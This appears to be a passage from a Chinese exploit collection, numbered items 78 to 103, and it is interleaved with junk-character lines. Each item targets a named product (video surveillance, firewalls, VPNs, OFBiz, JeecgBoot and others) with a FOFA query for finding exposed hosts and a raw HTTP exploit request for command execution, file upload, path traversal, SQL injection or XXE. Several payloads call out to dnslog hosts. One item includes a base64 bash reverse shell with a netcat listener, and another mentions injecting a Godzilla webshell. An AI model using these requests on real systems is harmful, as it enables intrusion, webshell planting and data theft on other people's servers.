# k' O1 [: t7 D5 [/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
6 o7 R, V2 @5 C; ]  jContent-Type: application/octet-stream

hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"
& W1 o; O/ j+ x
Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--


- a1 h. }$ z" y, R5 D5 e78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
7 Z" `9 m9 k1 C7 \" o3 B. z9 M; y2 ?FOFA：icon_hash="2001627082"
/ c& Q: J& ~5 \0 E8 zPOST /Platform/System/FileUpload.ashx HTTP/1.1
( |2 \4 c5 d& PHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
" Z' q: h. O6 G2 I, Q3 n; aContent-Length: 336
0 ]0 K# F& a; oAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
, b/ z5 ?3 |# U5 q% w  A( c5 vContent-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
( ?& O/ B: |1 f% b+ n$ @! `4 A; qContent-Disposition: form-data; name="target"
7 m* G8 H6 q! i! q+ P8 Z4 \& g
/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--


' U) D0 U( Z6 p! T% D4 S3 o/ ]+ ^8 o% ?9 rGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
' Q( Q3 ^  V# q0 o0 B. G8 hHost: x.x.x.x


0 B. H7 _7 j2 p% ]79. BYTEVALUE 百为流控路由器远程命令执行
" m3 a! h& N2 P/ ]FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& T+ C2 N# i- b, R4 n; MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! E- p2 M! P8 c! y6 n1 QAccept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
& v3 m7 q; w# O! ?/ A
  Y& {* B7 e7 ~
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
2 q+ r5 ^; I& }) DHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) x' B$ D! G- B# FContent-Length: 27
5 K  w3 \, \2 R% ]# V, T  TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
4 U4 O* w4 T0 `+ \) w8 m" `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- ^! b$ _9 w9 |5 HConnection: close
; {0 ~+ K5 [$ B0 _5 ]* Q9 c. YContent-Type: application/octet-stream
2 h' G# l7 S/ x5 r) x* S' CUpgrade-Insecure-Requests: 1

<% out.print("oessqeonylzaf");%>


GET /xykqmfxpoas.jsp HTTP/1.1
3 E- e8 W$ X# F1 dHost: x.x.x.x
  Z/ ~3 B" r% b2 D  `User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

4 }) P5 ?( `) m( c# N2 F& B% T
( B" s3 y, f2 V# j5 u; a/ R8 `8 k81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
3 u' R- ]2 ]9 n% c! ?FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
  x, K! @7 r" n  x, k  E$ JHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 U4 j! }! e+ l/ fConnection: close
1 t( h' b/ {5 y# @* O, BAccept-Encoding: gzip
/ ?2 v! l9 h" A% \
. l. J0 d2 O% W- ^
( @8 ^" |* D, r* U3 E; M& z' V82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
7 \* J$ A2 q, w) j/ w( s0 aPOST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
User-Agent: Go-http-client/1.1
Content-Length: 23
4 m, @5 _2 n5 R' A3 AAccept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
. }) g. t/ U: nReferer: BaseURL
7 p5 Z6 L# y1 t( W0 r
z1=1&z2="|id;"&z3=bhost

' G/ N3 U# X- i5 y: d2 j" o% s
83. JeecgBoot testConnection 远程命令执行
& `6 t# k% S2 c# b4 k$ OFOFA：title=="JeecgBoot 企业级低代码平台"


# @+ [( s( e) V3 ]7 o( YPOST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
9 E  k( Q+ {: i; V# E2 y$ WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: e4 H, P' ]$ R0 s6 g7 e7 q0 f6 QConnection: close
Content-Length: 8881
Accept-Encoding: gzip
2 y6 I" }6 E/ x9 ?1 pCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
  G% Y; }" C8 X  V+ n# kContent-Type: application/json

) }& f6 F, ?% j/ X5 lPAYLOAD

$ I6 V3 n( G5 U9 z% o6 b/ G84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
. W! d* g: d8 _: Q' F* UFOFA：title=="JeecgBoot 企业级低代码平台"
% }0 [6 ?  }6 N# Y2 d/ o" W
# \- H: ^. n* e/ t$ o

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
Accept: */*
Connection: close
Content-Type: application/json
Accept-Encoding: gzip
; C5 H/ `" r6 c* x1 G
{
7 G( R* c& o3 L0 `7 I "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
9 X7 Y+ [% L  P  "type": "0"
+ h2 [6 N# s. Z}
( l5 N/ y5 M- x$ L4 u
0 S) D9 h/ D# N
85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
  y  r  o+ `# @8 t( |FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
- E7 b7 [* o/ ~3 _: I4 P* z; Z7 UHost: x.x.x.x
% W) o/ R4 C. }. |* gUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
/ @$ H& p' m8 G' sAccept-Encoding: gzip

PAYLOAD

$ U  e( T3 c' N# f/ b1 s; u$ v回显URL：http://x.x.x.x/userfiles/index.jsp

  w( p% j$ I( R# N" p3 _86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
2 c- ?- ?! K$ PPOST /cgi-bin/network_test.php HTTP/1.1
2 B; ?  a4 j! y7 _" ?3 z* h0 PHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 44
Accept: */*
Accept-Encoding: gzip
Accept-Language: en
8 E! n; z  l" v$ |3 Y0 _* l3 y$ fContent-Type: application/x-www-form-urlencoded
; T5 h& W- R6 ~, }0 Z5 N
host=%0acat${IFS}/etc/passwd%0a&command=ping

9 m4 |- u5 F6 o6 q* U
87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
5 U* Z; F( m( f1 V( F3 q  i7 |Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' M7 i; U  X+ FConnection: close
Content-Length: 198
Accept-Encoding: gzip
, \9 `+ _2 U( PContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

--qqobiandqgawlxodfiisporjwravxtvd
# U4 |" w4 o  q8 a3 }& eContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain

2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--
/ q& F9 s) U$ x( ^) Q

/jfhatuwe.php
5 Q! B" z3 [/ v) ?) A0 c
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
0 y% O, z9 K4 w0 ]  {GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
  V3 }1 _  a2 dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ k# I/ ^" r$ z) ~Connection: close
7 u% f' T* j' q) Q. P

$ y, [1 u+ s: u% R  x/astdfkhl.php
+ j) v. X! V, ~) x0 _' F) u
89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
5 O3 i5 ~1 Z1 I+ y& lPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
; Z' ?# U) e1 xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
2 ?8 o# i% \- q# c( D3 @  V7 O& f; h2 cContent-Length: 41
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

# Z; _  B& @$ v5 p1 `! O) Poption=2&GUID=-1'+union+select+111*222--+


' y0 B- t8 }9 d& k- y2 w  U90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
; S  J; P4 \( |- WPOST /php/ping.php HTTP/1.1
) V9 A' J7 C" u% ?  y$ XHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
9 ]0 u- v! P# ~4 wContent-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
, X$ I; S$ W+ ]6 H8 TAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
5 t, `- ~$ R) ^& GX-Requested-With: XMLHttpRequest

& Z" t/ `3 ?/ b0 z0 y9 g: e9 Jjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
6 _$ a! j+ ]- \$ L" u; m8 d

  v  c; I2 d- M% C2 y91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
$ s' y3 @- W3 {7 B; wGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
' f" F7 S4 i( X( X% `- Y, R  |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
3 n& z! y1 I: D& ~+ LAccept-Encoding: gzip, deflate
; Z$ M: e5 b/ X: Y! T/ BAccept: */*
Connection: keep-alive
" ~1 ^7 x! ]( a2 ]
" X7 k  a6 L9 ~; \0 \9 F9 t3 f
( U3 y8 W) @. z9 ]  n
2 u- o) F8 s% i+ X' ]( _; r" I( A92. 海康威视运行管理中心session命令执行
' V4 M' Y5 x* }: }7 NFastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
8 [) {; g" J+ z* ~0 APOST /center/api/session HTTP/1.1
7 T2 l8 \2 x0 Z/ ?Host:
$ R; _- E( j" x( x9 u" k$ D0 M1 tAccept: application/json, text/plain, */*
! q8 r: f% U( V# Z* n* bAccept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
Testcmd: echo test
& i6 }" h9 v3 {8 l6 k4 t* {5 M5 VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

" U/ G! u# C+ M" g7 WPAYLOAD
2 P% ]7 r2 Y1 o

93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
$ Z: J1 U6 ]7 G7 R! m0 l# MFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
# D# e/ d1 b3 P9 ?1 |9 N; PPOST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
' O1 m% i) q# x( NContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

------WebKitFormBoundarykcbkgdfx
$ a) m1 ?/ D' n" V, jContent-Disposition: form-data; name="MAX_FILE_SIZE"
  B0 ~% V, Q2 f3 |$ }0 p
10000000
------WebKitFormBoundarykcbkgdfx
, Q3 ]+ a8 X' h* zContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain
7 d# ~/ F) q/ W$ h; c  l; P
wagletqrkwrddkthtulxsqrphulnknxa
/ Y8 B/ G) b/ _8 [1 z; O------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
! d! Q6 E* w6 ]/ Q$ }. _
; n2 w& }6 n0 _$ W# cobj_app_upfile
0 w4 }: J0 H0 K$ |4 F------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"

2 e, x- L9 R$ ?* U9 s7 l) d0b9d6b1ab7479ab69d9f71b05e0e9445
! u$ |9 l% `' F------WebKitFormBoundarykcbkgdfx--
" x& l0 p% t! x7 |1 }* _+ z
  Y! s( Z! o3 J  W/ }
GET /attachements/xlskxknxa.txt HTTP/1.1
  Y) q8 W3 A9 ^: HHost: xx.xx.xx.xx
! z; i' I) Z/ F. R8 ]7 `7 oUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


# {3 k6 c% O# F, T! ]94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
" w/ [& p$ ^8 ?1 A6 z4 h
$ o6 T) k( y/ H7 S3 v! S) w5 N7 H1 V------WebKitFormBoundarybqvzqvmt
% u' q7 `$ C" y) e$ B8 {3 J' P" B( Q+ QContent-Disposition: form-data; name="MAX_FILE_SIZE"
+ V  g. z2 Z3 [, j4 D  b
1 A0 Z3 y. t  F10000000
------WebKitFormBoundarybqvzqvmt
* t6 |3 f8 h" K- F" FContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
6 F  T. T, ]' V7 kContent-Type: text/plain

1 R- h  r* m9 z( P  B  @pxplitttsrjnyoafavcajwkvhxindhmu
% v6 |$ C. X% p4 h2 v" T------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"
+ A4 r: Q- y1 n! \: I' D
$ r' K2 |+ ]" e, pobj_app_upfile
------WebKitFormBoundarybqvzqvmt
$ p& u6 n8 P3 a/ {/ h' ^; |Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
4 J0 t( ]& W) f0 y" C% n# ^
9 _) ?1 d& y* M. L# M4 {; ?5 J9 |8 V+ @
& W& |! ~9 R! D# V# W9 \
0 O: W  \2 D0 v3 ?# f1 EGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
2 {! m( U/ T# X7 {User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
- }' x  N+ T0 u' P9 P


2 e* v8 @9 u& t9 a# W, b8 O: a95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
! U5 n- H. f( D0 ], PCVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
% q6 g0 T1 X! m7 {Host: x.x.x.x
) |( M, I" R! C" V* j5 a' w; d+ GUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
4 M$ Q* h# S0 D7 Y; n4 xContent-Type: application/xml
Accept-Encoding: gzip
, }/ Y' ]! A) y$ J7 a
<?xml version="1.0"?>
5 k) C2 ^) z( L& U' Q9 P<methodCall>
! y* t: P1 S9 ]" E- W/ ?   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
1 w2 h, G! v7 K$ ?0 P" ^    <params>
      <param>
. _6 C! {* Y/ Q0 ~& |( Q; x: [8 e      <value>
        <struct>
       <member>
! u( L7 a% Y  s' D1 B          <name>test</name>
1 h$ G/ E! G" ]          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
' o* w  [0 @) [, p5 f      </struct>
4 e" j( K& S0 R! G      </value>
    </param>
) V8 z/ o( x0 z) T: {5 b) H5 e. G# y    </params>
</methodCall>
, G8 \: ^3 H/ [: }6 t4 Z' M3 ?+ |
/ P6 C1 l9 X# B' R6 M) _
- p7 m$ o- c  B3 [8 v6 F用ysoserial生成payload
1 Y5 ~+ s5 W9 T' ?3 |java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
3 O1 b  A+ h; B5 |1 U" _

将生成的payload替换到上面的POC
2 Q1 Q2 i& `1 i' c' j3 [POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
3 m, \$ s9 ]* Q- D$ b$ y0 iHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
0 f+ V2 t/ L8 }Connection: close
Content-Length: 889
Content-Type: application/xml
  P, y/ Q3 x# p+ [/ P7 sAccept-Encoding: gzip

PAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
# I9 {! K1 a) m6 y' O* V; t# a4 @FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
( [3 X( X, e8 i, f7 bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
* w) Q" l  ~6 |0 N' R# |Content-Length: 55

groovyProgram=throw+new+Exception('id'.execute().text);
$ K6 B0 A5 V- i

反弹shell
在kali上启动一个监听
nc -lvp 7777
2 l" m; v+ o2 s4 k, \& U4 I! `3 M! K
- ^4 w# ~" O! A# R1 m& mPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
' V# s: M. @; J3 a5 pHost: 192.168.40.130:8443
7 c& h* u5 ~+ a; A  Z: fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
3 V/ x6 N  Q2 C: k, M0 s# CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 {" A( Y2 Q& j. C) m) wContent-Type: application/x-www-form-urlencoded
Content-Length: 71
/ @+ f  ^  v, h+ b
( ~( P( k/ ]0 ]% W) CgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
' K! E  a) G# F% Q9 f9 a  M' ?( J
) U/ _/ N. {/ N$ O97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
' ^/ A+ K$ N& o4 {GET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
& f, D3 N& [. m7 }7 f& W* OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
2 t+ Q2 r( r: C" s( R/ ?. wConnection: close
! ~* S) c6 l+ n- I% M0 Z$ g. |7 _/ dCookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
) k4 q- R7 |0 ^) A
0 d9 w6 ]' T, P  D0 H
98. SpiderFlow爬虫平台远程命令执行
- }" p) F& R- s8 BCVE-2024-0195
FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
3 U; h  S' T8 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

* J5 ~6 M, g/ Tid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
, Z' W' [: |6 V6 ?$ V  B1 Z
% c% ?/ k+ d( r7 y7 E1 U, v: N1 W" s
/ }- Z! u+ Y, @6 r) B( U5 K99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
+ n8 Z$ g  x  @4 pConnection: close
Content-Length: 154
4 Q0 \2 t+ }1 q0 J  D( zAccept: */*
# L  }+ [; a% O: z% e  u7 CAccept-Encoding: gzip, deflate
9 A% O* L0 G1 OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D

0 v9 D, B/ H0 D! x
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
6 h2 n9 z# C# L  g9 G" `POST /api/file/formimage HTTP/1.1
- C  U, i! v) t1 @Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
1 v' t% G* |5 y5 uConnection: close
Content-Length: 201
/ ^/ v% U* |$ A/ s+ A# |  v' L; BContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip
% @6 m4 e! A& g  s% u- D4 j1 a
: Q/ l( d3 J) Y4 ^9 F+ |: U------WebKitFormBoundarygcflwtei
5 V' _, M4 x) @' \Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
# z1 R* R; U+ v# G
2ayyhRXiAsKXL8olvF5s4qqyI2O
+ H' T& ~2 f' X0 [- \+ r0 i1 e( A------WebKitFormBoundarygcflwtei--

5 k! `6 M& y. A) E
101. ivanti policy secure-22.6命令注入
* F; G, w4 a/ v- g" k- j$ `CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
& H& x0 ]5 Q* b8 yHost: x.x.x.xx.x.x.x
) @% }& T% I, z8 S3 h/ }/ CUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
9 P  \: y7 L  q2 j% ?0 g$ C* [& [
/ P7 z. l9 z: I
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
, G: d4 w& g% s8 O# d4 W5 k# _FOFA：body="welcome.cgi?p=logo"
& v) O8 I1 v( Y, nPOST /dana-ws/saml20.ws HTTP/1.1
. }8 u. Y* T) z+ h1 o$ E$ jHost: x.x.x.x
& Z  C- s: M; f  {& X, e( lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
( @; c( {. y8 m% {# h; AAccept-Encoding: gzip
4 C$ H/ z' s" A. N
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
; i& P8 W  W- H5 \! F. I
! R* Z4 `, H$ z* G3 B103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
" e/ O- ?/ g" G/ K" \# nPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
3 ~  a& h* D; c; z+ a' ?$ EHost: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
+ `# R' Z: J- s$ G- dContent-Length: 204
0 ~) q; I) O5 W, I9 ~Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
' U, Q/ g1 F& e! `5 g
SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


3 R! N; Q* ~0 P% q其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


